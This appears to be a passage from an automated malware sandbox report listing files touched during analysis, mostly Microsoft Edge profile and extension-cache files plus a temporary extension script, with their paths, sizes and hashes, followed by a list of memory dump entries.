SHA256 7b33d35a5d6dce6f8260dbfb1c2c4cdd998eed8f3093d755d0bc8ce404c6c90c
MD5 06e61a1dea91753aeaf166ebe287672f
SHA1 f2cafddc8f4e2cc7ee564193ac99a1d4ecbb63bf
SHA512 f9c2a6566177691abdd4dd44d30adcfb359dcea5e02b6af584879366777ec04ece910c3e6a4975e72bcce003c05bf05e6a563469a279ba3501434be078532b8d
TLSH
T13151AFF3C6E8866DC91156F0AA14BE1BCE2D0954832C3D5AC9E4EF1B93E2471D281A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 13692b5851c1729f080accbffc6bdce82dcb04d8df665c77124dfbf11dbb36d8
MD5 14276a4ca33515d79d957a4e89b6649f
SHA1 2df4d21fa931403f617149d73c9c936366b908b8
SHA512 af562ab5d9373f9bb27b345e96b2329d26766fed44a89732cbb64a73b527ec25d68b91679cd65c31feaf9aca814e0f2cbae3d394aae6aa5bfd758037eb839b24
SSDEEP 192:sxRqR0Cf/f9sc+0dZXuWczoA8p9k/g6+WNCDQ/YD916StGQPIgVSWQJ:sxRqZf/f9scpTeMy/59/9SLO
TLSH
T14742D8166A686D3B4CC7D219BB657F53E2F85032A1D05E58EBFC9A1C04EB6CD620740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 4821b9502db435f52354f15b8c6457f382844d24f3e6ee5234b1530e778e456a
MD5 a7927a3847b99aa27ad8eb5d274c2000
SHA1 c21826d1c593e2070525aa10dd222983e1f2f284
SHA512 db9558115466e662091b70895dca7425a2466c61d5ac6bf3d3d0a6b4c8b4be821928cdac39267537f4bdb836d7a5d33b2f7cb4f2a50b2fcf3e897355ddb957ce
SSDEEP 192:sxRhR0Cf/f9s++0dZXuWczoA8p9k/g6+WNCDQ/YD916StGQPIgDPSWQJ:sxRhZf/f9s+pTeMy/59/9SLo
TLSH
T17C42E81AAA686D3B4CC7D219FB657F53E2F85032A1D05E58A7FC9A1C04EB6CD620740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 730627fde03260c1b457e1023ebd08ffa3fe7e4d69ea12bd9329246d235b74d9
MD5 5138cc4990e7fff0f0e0ab4cced2beec
SHA1 c9303d6fb063bc26b9d114673345a6970297b90e
SHA512 d468c78f31c5f4012b0922a5f38edf380525234a55e3ded24962c3ea47b26c7997f070c62ed5f9dd137ef226c80b93315bfaa2b882801a5cee2c925fb25bee7c
SSDEEP 192:sxRhR0Cf/f9s++CdZXuWczoA8p9k/g6+WNCDQ/YD9Y6StGQPIgDdSWQJ:sxRhZf/f9s+nTeMy/59/CSLK
TLSH
T19D42E81AAA686D3B4CCBD219BB557F53E2F85032A1D05E58A7FCDA0C04EB6CD620740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 48c4c26601739023251f4cb54725461ae20919cfa432b575865c728c9a6fc11d
MD5 69723389b0cc330d999ce4e6d27fcfcb
SHA1 72b9f47a214f1942133cb8560ce005251e334f32
SHA512 065c9d7fb5bcac8d156440c916fbd76cbf2030761b5374967779f7b59a2aa6448bf9cf4095eb4f1ea16e692e44fe79fdd87656d0f3f66f8569028b6d84ab7df0
SSDEEP 768:azfW0r7pLuLf30Wg/XfHf8F1+UoAYDCx9Tuqh0VfUC9xbog/OVD6Yc16propn7Hz:azfW09Ef30Wg/XfHfu1jaM6Yy6Cpnf
TLSH
T164D2D97B640CCE7F4F800AD9AD197EDF6DA802CB9698CD5047FE941C02C6BEA52164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 b3a633d4003c8aa4d7ee5d5231dcd41b628ebabac82ae0054c5991a736b28058
MD5 fcb65087355ae320aeb9ad7dff05ed02
SHA1 bfd4b4f5c678f09223c5ebb2e3cab614b390c980
SHA512 87091d1e21219d3c0a44b9b4c1f66e8ac9e17dbeb6396dd4f7efa0f4d7c08359add7369f81b37fb5d82cc9d69d8a4294ea043f8f47271d1c89b5fbfe0de9e7c8
SSDEEP 768:at3FVxHi0KOrEnjN3Gac1Fd4ojKgqmU+O:at3npQnjMa+4fgRU+O
TLSH
T14EF2AF7468A59EB38CFAE382B6467783AEF0166385D04FA4D5DDBB0D014399C670F827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 42KB
SHA256 51614eb798f69c98de621429329293b3891f6c95f8b457ed3c783e5665305cef
MD5 6cf306c4e1ad21cc14a9a54bcb6e468d
SHA1 89361ca9e142014d7522ba1662d2e4ac3aea573f
SHA512 936553638e0a8705c29dff924ad5ed31f979721a1a0e077b63596021d615b4e251544fd90e1882bc689d74d369fe8c2048d3253d1ce2ae1dfe5ff1eb5cf0474b
SSDEEP 384:nIqZcIS38NfqbJSyCGx24Hfc5yEGoH77jaFAy2rEoajo4cdR8eHhVODjYPNDUMd+:FS3FbxksK7rEnjN3Gac1Fd4ojKgqmU+O
TLSH
T1961316F494E79A73C8AEA383633D6E425EBCC15375844994B7D86E0CCC825BFD70A816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 b7a43f41128e0b4bbb3359bf3ea4df8725fa4f637db7c96679ba88f6603d10b4
MD5 2665e9738675b858274059b206694eda
SHA1 cef458204d6cc95f6af348bb02ae15df8fc861f5
SHA512 2c6d3690bcb9f525869dff47997ebf7e44d8c692fd9c03a0e4bfb3af015941a244697234e0a83249ccdce28fb48f99e2422e537165429eac40bf887bfbb942c3
SSDEEP 768:5t3UVxHi0KnrEnjN3Gac1Fd4ojKgqmU+O:5t3q0QnjMa+4fgRU+O
TLSH
T1FCF2AF7468A59EB38CFAE382B6477783AEF0166385D04FA4D5DDBA0D014399C670B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 0f590d0af06e34382fe8343616da9823e85332350e7f1c1df2ea519cc6be6109
MD5 bddcbcb66de45747adee7ca513a8d92d
SHA1 5fbdd0354fb01b6ffe6f081586b286d9e6ad1382
SHA512 d66d36b58419674970c98693a1d3230fcc9a30c932ac5b14edbe8c9355ca26ac47f02bb5eafffe770813c875219c8d4fd14fb9c91d0717313ed9ef2424f7ba5a
SSDEEP 768:rrv+4UNbdS39mi0KUrEnjN3Gac1Z3eVH1SCz:rbsbg3K/QnjMaAEH1V
TLSH
T1EB03CF3669A89EB38CE7E385B14776037FB4125385940BE0CADD7B0D129B5EC130B967
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 f98d106a638e9dfd4c29c90bdb0c97b5e4e0d736fc99595e918eb6263971d10f
MD5 d9fa7cf2be902a3a9cde20ed682a6762
SHA1 c2c74c387b9795487509d279eced9b912fdda3ed
SHA512 b35618ef55243400d46838c825c5ac14e67df69b5e3db89757c96cec4f83b9b7d9e5dd364f6aa4b1f7883e9eab66ce532093db589197b96138690f576080c66d
SSDEEP 768:Prv+4UNbdS3rhi0K2rEnjN3Gac1Fd4eVH1SC8:Pbsbg3rhQnjMa+4EH12
TLSH
T17C03BF3069B89E738CEBE385B18776437EB416A384940FA4D9D9AB0D06875DC130F927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 55aa4ab756834699189543863036551542c61249184224f927d1681ef15164dd
MD5 c1bec3bc77db46888e279f8b3eeb18fc
SHA1 c2d14f387c796193ddc6378267768745c10dae14
SHA512 8d41fbab8134eec1a95a53d4d56d1d2edb1edced5b2f4987278e5b8f6ac9b169c9928a0c52ebe7a66393caddfa5a29e001890386b54105a8e69958661b40ec35
TLSH
T134F09E808C3E1AC5D6B90F6FE40716FC40D8591670D9287844CEE4A8A47B05B311586D
MD5 SHA1 SHA512 TLSH

Submit Download

299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
Size 153KB
SHA256 299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
MD5 c4a20d073fe58488935da829aae6fa17
SHA1 dbd31aa3dcd1abd3d554d29a9bca83bab02709d5
SHA512 61f74480d3471180f14e2171be6f5e33ab0a03a7a4837334695556a9484da1a862cc059969834d4950a038ec97f192805e5e718cd2a280aba675bdc9cee5d976
SSDEEP 3072:C0qfZ9r+hy+exmKhRts8o7SYbyqNDri8EBalnQt9RaBoAkaX2Ns:C0qfZ9r5msvoOGi8QQQbRwxmNs
TLSH
T126F3E02D6EDEC956CC0F61F96F29724BC50A4F0B818B648B624E881958F434E17E29FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 132B
SHA256 ea13d57b11af249f90704dbcafd354c5e80b10358db7edb9eaf8f6fd597eb1d4
MD5 ae3a19c226264ff6cb64877f1e7e7243
SHA1 f993431dbd09200fd92b7a04ee6711a54ad95cc9
SHA512 97e5dbf0663585afbb5e0f2b5a36192624eb2c898462abef65225987df632d30f74f05ac5a71175c4c59f75d9ae6d2e640d168e479cb26b9a6857c71efda029a
TLSH
T1C1C02B85CB1E0C854E78153D48420B2727819F0030508534445A490C41741CE00888CF
MD5 SHA1 SHA512 TLSH

Submit Download

7f391ad1-03f0-4b9d-8641-5765b96b31ca.tmp

Path C:\Users\Admin\AppData\Local\Temp\7f391ad1-03f0-4b9d-8641-5765b96b31ca.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4384_997220172\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1092-470-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1356-524-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1356-551-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2636-699-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2636-718-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2800-695-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2840-669-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3616-565-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4176-511-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4232-554-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4260-561-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4456-634-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4456-549-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4532-594-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4848-614-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4956-674-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5016-716-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5808-658-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5864-423-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5864-471-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6040-638-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6096-499-0x0000000000010000-0x0000000000083000-memory.dmp

Download